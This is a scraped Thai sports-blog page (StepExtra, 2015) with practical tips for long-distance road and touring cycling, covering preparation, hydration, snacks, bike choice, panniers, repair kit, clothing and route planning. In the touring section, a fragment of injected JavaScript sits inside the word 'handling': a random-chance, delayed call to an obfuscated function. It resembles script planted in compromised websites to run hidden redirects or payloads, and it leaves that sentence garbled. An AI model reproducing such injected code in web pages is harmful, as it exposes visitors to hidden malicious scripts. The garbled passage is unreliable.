• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

Long distance cyling tips

stepextra by stepextra
13 August 2015
in Cycling Tips, Feature, Tips & Technics
0
Long distance cyling tips
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ทิปเล็กๆ น้อยๆ สำหรับการปั่นระยะยาว

สำรับใครที่ต้องการผจญภัยไปในวันเสาร์อาทิตย์ หรือวันหยุดยาว โดยเลือกการปั่นจักรยานทางไกล ไม่ว่าจะเป็นเเบบ Touring หรือ Road cycling เรามีทิปเล็กๆ น้อยๆ สำหรับการปั่นจักรยานระยะทางไกล หรือ Long distance cyling tips มาฝากกันครับ

ช่วงเตรียมตัว

1. ก่อนวันเดินทาง 1-2 วัน เลือกรับประทานอาหารประเภทโปรตีนสูง เพราะมีกรดอะมิโนที่จะช่วยในเรื่องการเสริมสร้างกล้ามเนื้อ

2. นอนผักผ่อนให้เพียงพอ การพักผ่อนให้เพียงพอจะช่วยให้ระบบภูมิคุ้มกันทำงานเป็นปกติ ช่วยให้สมองปลอดโปร่งช่วยเพิ่ม performance ให้กับเราด้วย

3. อย่างน้อยควรมีการฝึกซ่อมปั่นจักรยานต่อเนื่องกัน 5 วัน เพื่อสร้างความคุ้นเคยให้กับกล้ามเนื้อ

ช่วงปั่น

1. เหงื่อเป้นเรื่องสำคัญ การสูญเสียเหงื่อไม่เพียงเเค่น้ำในร่างกายที่หายไป เเต่หมายถึงเเร่ธาตุที่ออกมาพร้อมกันด้วย นักปั่นจึงควรมีการเตรียมน้ำและเครื่องดื่มเกลือเเร่ให้พร้อม หรือจะพกพา Snack bar ที่อุดมไปด้วยคาร์โบไฮเตรตไว้เป็นเเหล่งพลังงานให้เราด้วยก็ได้

2. ควรมีการดื่มน้ำทุกๆ 15-20 นาที หรือดื่มเมื่อมีอาการกระหายน้ำ เพื่อรักษาสมดุลน้ำในร่างกายของเรา หากมีอาการเหนื่อยให้ลองกินพวก snackbar ที่เตรียมมาหรือจะเป็นพวกผลไม้ตากเเห้งก็ได้ อย่างกล้วยตากเเห้งก็ดีเช่นกัน

3. Mind set การปั่นระยะทางไกลจำเป็นต้องมีความตั้งใจสูง อย่าออกปั่นเพราะเพื่อนๆ ชวนอย่างเดียวเเต่ต้องมาจากตัวเราด้วย คืออยากทำเเละตั้งใจทำ มันจะทำให้การปั่นของเราสนุกขึ้นไม่น่าเบื่อ

16-34-37-518_640

สำหรับใครที่เป้นสาย Touring ต้องออกเดินทางไกลๆ เราเองก็มีข้อเเนะนำมาฝากเช่นกัน

1. การเลือกใช้จักรยาน เเนะนำให้เลือกเอาเเบบที่ไม่เเพงมากนัก หากเกิดการลักขโมยจะไม่ได้มาเสียใจมากนัก เเละในการเลือกซื้อจักรยานควรดูที่ความทดทานใช้งานง่าย ควบคุม (handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling) ง่าย คล่องตัว เเละต้องนั่งปั่นสบาย (comfortable)

2. ควรมีการติดตั้งกระเป๋าเสริม (Bike Pannier) เพื่อใส่ของที่จำเป็น โดยน้ำหนักควรอยู่ในช่วง 9-20 กิโล เเบ่งเป็นสองส่วน 60/40 ให้ช่วงหน้าจักรยานเราเบากว่าช่วงหลังเพราะมีผลต่อการควบคุมทิศทาง

3. อุปกรณ์ซ่อมจักรยานพื้นฐาน อย่างอุปกรณ์ปะล้อยาง ยางใน ที่สูบลมพกพา เป็นต้น ผู้ปั่นเองก็ควรมีความรู้ในการซ่อมจักรยานเบื้องต้นเช่นกัน

4. น้ำและของกินอย่างน้อยก็ควรมีเก็บสำหรับวันถึงสองวัน ถ้ายิ่งปั่นในเส้นทางที่ไม่มีชุมชนยิ่งต้องเตรียมพร้อมให้ดี

garmin-burp

 

5. เสื้อผ้า ควรเป็นเเบบเบาเเละระบายเหงื่อหรือน้ำได้ดี และควรจัดเก็บได้ง่าย เสื้อกันลมกันฝนก็ควรพกไปด้วย ประเภทเสื้อผ้านั้นก็ขึ้นอยู่กับฤดูกาลเเละสถานที่ปั่น เราจึงควรศึกษาให้ดีก่อนออกปั่น

6. เครื่องเรื่อนเเต่งหน้าไม่ควรเอาไปครับ ไม่ว่าจะเป็น makeup หรือ hair dresser ไม่มีใครมาสนใจหรอกครับ เพราะเรานั่งปั่นจักรยานทั้งวัน คนมองเราเเค่จังหวะที่ผ่านไปมาเเป๊ปเดียวจริง พกไปจะไปเพิ่มน้ำหนักให้กระเป๋าซะอีก

7. สิ่งสุดท้ายคือ การว่างเเผนเส้นทางปั่นไว้ล่วงหน้า ศึกษาเส้นทางปั่น ทั้งลักษณะภูมิประเทศ สภาพอากาศ สถานที่พัก อาหารการกินและพื้นที่ชุมชนให้ดี

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.